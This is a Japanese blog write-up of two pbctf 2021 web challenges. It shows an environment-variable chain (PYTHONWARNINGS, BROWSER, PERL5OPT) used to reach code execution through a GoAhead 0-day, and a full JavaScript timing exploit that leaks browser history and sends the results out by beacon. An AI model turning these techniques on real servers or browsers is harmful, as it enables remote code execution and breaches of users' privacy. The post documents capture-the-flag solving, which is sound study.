st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

pbctf 2021 writeup

10/9 - 10/11という日程で開催された。zer0ptsで参加して5位。

他のメンバーが書いたwrite-up:


[Web 340] Advancement (9 solves)

Embedthis GoAheadの最新版である5.1.4で、以下のようなシンプルなPythonCGIスクリプトが動いている。それだけ。

#!/usr/bin/env python3

from datetime import date

print("Content-Type: text/plain")
print()

today = date.today()
print("Today's date:", today)

これは実は0-day問で、細工したHTTPリクエストを送ると、環境変数に好きな値を設定した上でCGIスクリプトを実行させられる。環境変数が操作できる状態で、Pythonでなにか悪いことができないかPOSIXさんの記事を見てみると、PYTHONSTARTUP というものが見つかった。これは値として設定したファイルが自動的にPythonスクリプトとして読み込まれ実行されるというものだが、残念ながら対話モードでなければならない。

Kahlaさんから LD_PRELOAD であればどうかというアイデアが出た。確かにアップロードしたファイルは通常であれば /etc/goahead/tmp に予測可能なファイル名で一時的に保存されるし、なんなら /proc/self/fd/… がそのファイルを指している。が、残念ながら docker-compose.ymlread_only: true という記述があり、そもそもファイルのアップロードができなかった。

雑に "python environment variable exploit" でググってみると、Hacking with Environment Variablesという大変気になる記事が見つかった。PYTHONWARNINGS という環境変数all:0:antigravity.x:0:0 という値を突っ込んでやれば、antigravity というモジュールが読み込まれるらしい。これはPythonイースターエッグで、読み込むとWebブラウザhttps://xkcd.com/353/ が開かれる。この際 BROWSER という環境変数が参照され、Webブラウザのパスとして扱われるが、その値が perlthanks であれば perlthanks というPerlスクリプトが実行される。Perlは実行時に PERL5OPT という環境変数が設定されていれば、その値がコマンドラインオプションとして与えられているものとして扱う。-Mbase;print(123);exit のような値が入っていれば、任意のPerlコードが実行できてしまう。

これら3つの環境変数を使って、print(system("cat".chr(0x20)."/flag")); というPerlコードを実行させるとフラグが得られた。

pbctf{all_i_was_doing_is_running_a_simple_python_script}

[Web 353] Vault (8 solves)

セキュアにメモを保存できるらしいWebアプリケーションが与えられる。トップページには 1 から 32 までの数値が書かれたボタンがあり、押すとそれぞれ 1/ から 32/ までのサブディレクトリに移動する。例えば 5, 9, 6, 3 の順番で押すと、最終的に /5/9/6/3/ に移動する。

パスが9階層以上の深さになると、以下のようにそのパスにメモを保存できるようになる。これだけ深くなれば、総当たりしようにもできないだろうということらしい。

    if level > 8 and request.method == "POST":
         value = request.form.get("value")
         value = value[0:50]
         values.append(value)

トップページからは好きなURLの通報ができて、以下のようなbotによってアクセスされる。14階層分ランダムにボタンをクリックした後にそのパスにフラグを保存し、そしてユーザが通報したURLにアクセスする。フラグが保存されたパスを特定すればよいようだが、通報の度にそのパスは変わるから、一発で特定できるような方法を考えなければならない。

async function click_vault(page, i) {
  const vault = `a.vault-${i}`;
  const elem = await page.waitForSelector(vault, { visible: true });
  await Promise.all([page.waitForNavigation(), elem.click()]);
}

async function add_flag_to_vault(browser, url) {
  if (!url || url.indexOf("http") !== 0) {
    return;
  }
  const page = await browser.newPage();

  try {
    await page.goto(vaultUrl);

    for (let i = 0; i < 14; i++) {
      await click_vault(page, crypto.randomInt(1, 33));
    }
    await page.type("#value", FLAG);
    await Promise.all([page.waitForNavigation(), page.click("#submit")]);

    await page.goto(url);
    await new Promise((resolve) => setTimeout(resolve, 30 * 1000));
  } catch (e) {
    console.log(e);
  }
  await page.close();
}

フラグのパスが /5/9/6/3/…/ のような場合であれば、botはフラグを書き込むまでに /5/, /5/9/, …といったパスを閲覧しているはずだ。あるパスを閲覧したか判定できるような方法があれば、1階層ずつ総当たりで特定できる。

s1r1usさんから、CSS:visited という擬似クラスを使ってはどうかというアイデアが出た。じゃあCSS Injectionのノリで background-image でリークすればいいんじゃないかと思い、以下のようなHTMLとCSSを書いてみたが動かない。調べてみたところ、どうやらプライバシー上の問題から:visited 擬似クラスが使われている場合は、一部のプロパティしか有効でないらしい。

<style>
  a[href^="/1/"]:visited {
    background-image: url(http://example.com?1);
  }
  a[href^="/2/"]:visited {
    background-image: url(http://example.com?2);
  }
  a[href^="/3/"]:visited {
    background-image: url(http://example.com?3);
  }
</style>
<a href="/1/">hoge</a>
<a href="/2/">hoge</a>
<a href="/3/">hoge</a>

XS-Leaks Wikiなんかも眺めつつなんとかできないか考えていたところ、s1r1usさんがとても興味深いChromiumのissueを発見した。

このissueは次のような内容だ。大量の a 要素を含むWebページを用意して、あらかじめそれらのリンクの href 属性を https://example.com/(乱数) のような確実にユーザが訪問したことのないURLにしておく。続けて、それらのリンクの href 属性を、ユーザが訪問済みであるかどうか確かめたいURLに変更する。もしそのURLが訪問済みであればリンクの色は変わるし、未訪問であればリンクの色は変わらない。その差により、requestAnimationFrame を使ってこの変更後に再描画にかかった時間を計測してやると、訪問済みであれば未訪問である場合より長くなっているはずだ。

手元のGoogle Chrome 94.0.4606.81でも動いたし、問題サーバのbotはシークレットモードでないからこの手法が使えそうだ。issueに添付されていたPoCを参考に、text-shadow などを使ってより再描画に時間がかかりそうな重CSSを書く。リンクの指す先を切り替えて再描画の時間を計測するJavaScriptコードなども丸々書き直すと、次のようなスクリプトができあがった:

<body>
<style>
#nyan {
  text-shadow: black 1px 1px 50px;
  opacity: 1;
  font-size: 15px;
  word-break: break-all;
}

a {
  padding: .5em;
}
</style>
<div id="nyan"></div>
<script>
const NUMBER_OF_ELEMENTS = 130;
const NUMBER_OF_TRIES = 4;

const div = document.getElementById('nyan');
for (let i = 0; i < NUMBER_OF_ELEMENTS; i++) {
  let link = document.createElement('a');
  link.textContent = '#'.repeat(15);
  link.style.position = 'absolute';
  link.style.top = i + 'px';
  link.style.left= i + 'px';
  div.appendChild(link);
}

function updateLinks(url) {
  for (let i = 0; i < NUMBER_OF_ELEMENTS; i++) {
    div.children[i].href = url;
  }
}

function average(a) {
  return a.reduce((p, c) => p + c, 0) / a.length;
}

function go(link) {
  return new Promise(resolve => {
    let a = [];
    let count = 0;
    updateLinks(Math.random());

    let prev = performance.now();
    let flag = false;

    function loop() {
      let now = performance.now();
      let diff = now - prev;
      prev = now;
      a.push(diff);

      flag = !flag;
      if (flag) {
        updateLinks(Math.random());
      } else {
        updateLinks(link);
      }

      count++;
      if (count < NUMBER_OF_TRIES) {
        requestAnimationFrame(loop);
      } else {
        resolve(average(a));
      }
    }
  
    requestAnimationFrame(loop);
  });
}

(async () => {
  const result = await go(`http://vault.chal.perfect.blue/0/`);

  let known = '';
  for (let i = 0; i < 14; i++) {
    let [mt, mu] = [0, ''];
    for (let j = 1; j <= 32; j++) {
      const result = await go(`http://vault.chal.perfect.blue/${known}${j}/`);
      if (result > mt) {
        mt = result;
        mu = j;
      }
    }
    known += `${mu}/`;
    console.log(known);
    navigator.sendBeacon(`log.php?${known}`);
  }
})();
</script>
</body>

このHTMLを開くと、いかにも重そうなおぞましいWebページが描画される。

f:id:st98:20211014103923p:plain

これをbotに報告してやると、そのアクセスでは /8/22/21/4/15/4/18/9/9/1/5/17/8/16/ がフラグの保存されたパスであることがわかった。そのパスにアクセスするとフラグが得られた。

pbctf{who_knew_that_history_was_not_so_private}